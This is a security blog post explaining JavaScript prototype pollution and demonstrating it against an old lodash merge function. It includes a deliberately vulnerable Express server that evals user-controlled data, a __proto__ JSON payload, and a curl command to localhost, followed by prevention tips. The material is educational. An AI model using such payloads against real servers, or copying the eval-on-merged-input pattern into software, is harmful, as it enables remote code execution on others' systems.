Prototype Pollution Attacks in JavaScript

JavaScript is a popular programming language used frequently in website development. It falls into the category of prototype-based Object-Oriented Languages.

JavaScript doesn't have classes and methods. But instead, its main features include constructors and prototypes. 

Constructors are used to define objects, and prototypes add properties and methods to objects. In JavaScript, properties and methods added by prototypes can be added to all existing objects or to an object constructor. Prototype pollution attacks use this JavaScript property to inject malicious properties and methods to objects or update their default values.

Explanation

Below is an example of a prototype pollution attack in JavaScript. The example shows an object created with no properties and then modifying it using the prototype property.

let user = {};

console.log(user.isAdmin)

# Output: undefined

user.__proto__.isAdmin = true

console.log(user.isAdmin)

# Output: true


In addition to modifying an existing object using this attack, we can also modify a new object because, in most cases, the same prototype is being shared by multiple objects. An example of such a scenario is shown below, in which newly created objects inherit one object and the same modified property.

let obj1 = {};

obj1.__proto__.isAdmin = true

let obj2 = {};

console.log(user.isAdmin)

# Output: true

Example of the attack in lodash library

Lodash is a JavaScript library useful for working with arrays, strings, objects, and numbers. 

It has a lot of in-built functions that help us to work with all types of manipulations of objects. One such function is merge. This function helps us to merge two objects. 

Using merge functionality, we can modify the prototype of the object into which another object is being merged. This way, we can modify the parts of the object to which we don't even have access to. 

All the versions of lodash library for nodejs below 4.17.12 are vulnerable to this type of prototype pollution attack. A simple NodeJS server has been created to demonstrate this attack, as shown in the screenshot below.

var lodash = require('lodash')

const express = require('express')

const router = express.Router()

const app = express()

var users = {

  "test": {

    "first_name": "test"

  },

  "admin": {

    "isAdmin": true,

    "first_name": "admin"

  }

}

app.use(express.urlencoded({

    extended: true,

}))

app.use(express.json())

app.post('/eval', (request, response) => {

    console.log(request.body)

    lodash.merge(users[request.body.user], request.body)

    console.log(users[request.body.user])

    if(users[request.body.user].isAdmin == true) {

        response.send({"response": eval(users[request.body.user].eval)})

    } else {

        response.send({"response": "No access to eval function"})

    }

})

app.listen(3000, () => {

    console.log("Server started!")

})

The server has one endpoint '/eval', which is accessible to users with 'isAdmin' attribute as true can access. The server takes the JSON in the POST body and merges it with the users array. 

If the attacker sends the JSON payload containing the modified prototype, it will lead to modification in the prototype of the users array too. Thus, in that way, we can create a payload to set the eval string in the prototype of the admin section and get RCE. A sample payload has been attached to demonstrate the exploitation part.

{

    "user": "test",

    "isAdmin": true,

    "__proto__": {

        "eval": "10*10*9"

    }

}

We can use any tool such as curl or postman to send this payload as shown in the next step.

curl --location --request POST 'http://localhost:3000/eval' \

--header 'Content-Type: application/json' \

--data-raw '{

    "user": "test",

    "isAdmin": true,

    "__proto__": {

        "eval": "10*10*9*5"

    }

}'

 

As shown in the image above, setting the eval using the __proto__ attribute changes the eval attribute of the admin section, and the response shows the modified value of the eval function.

Prevention

There are some techniques with which we can prevent prototype pollution attacks. Some of the methods are mentioned below:

  1. When a new object is supposed to be created, it should be done with Object.create(null), which will avoid creating the object with the prototype.
  2. Server-side validation should be implemented to filter out unnecessary in the JSON payload, eliminating the attack vector.
  3. The used libraries should be up to date.
  4. If the object is not required to be modified, it should be frozen using Object.freeze().
  5. Map data structure can also be used instead of objects to prevent prototype pollution attacks.

Conclusion

This blog discusses the pollution prototype attack in the Lodash library. However, several CVEs have already been brought to light over the years, demonstrating that this vulnerability is widespread and not just in the Lodash library. 

Even though this vulnerability appears simple, it can potentially have high-level impacts by causing RCE for an attacker. We should maintain the libraries and system up to date in order to defend the application from such threats. Additionally, periodic application penetration testing should be carried out.

 

Published on Nov 2, 2022
Ajay Pandita
Written by Ajay Pandita
Ajay Pandita is a Penetration Tester working as a security analyst. Ajay specializes in performing pen tests on Android, iOS, and Web applications. He is OSCP certified and aims to become a Red Teamer. His journey started from web development and system administration and has 10+ years of experience in Linux. Alongside work, he spends his time doing CTFs. He also enjoys playing racing games and is a big fan of Red Bull F1 racing.

Questions?

Chat With Us

Using Other Product?

Switch to Appknox

2 Weeks Free Trial!

Get Started Now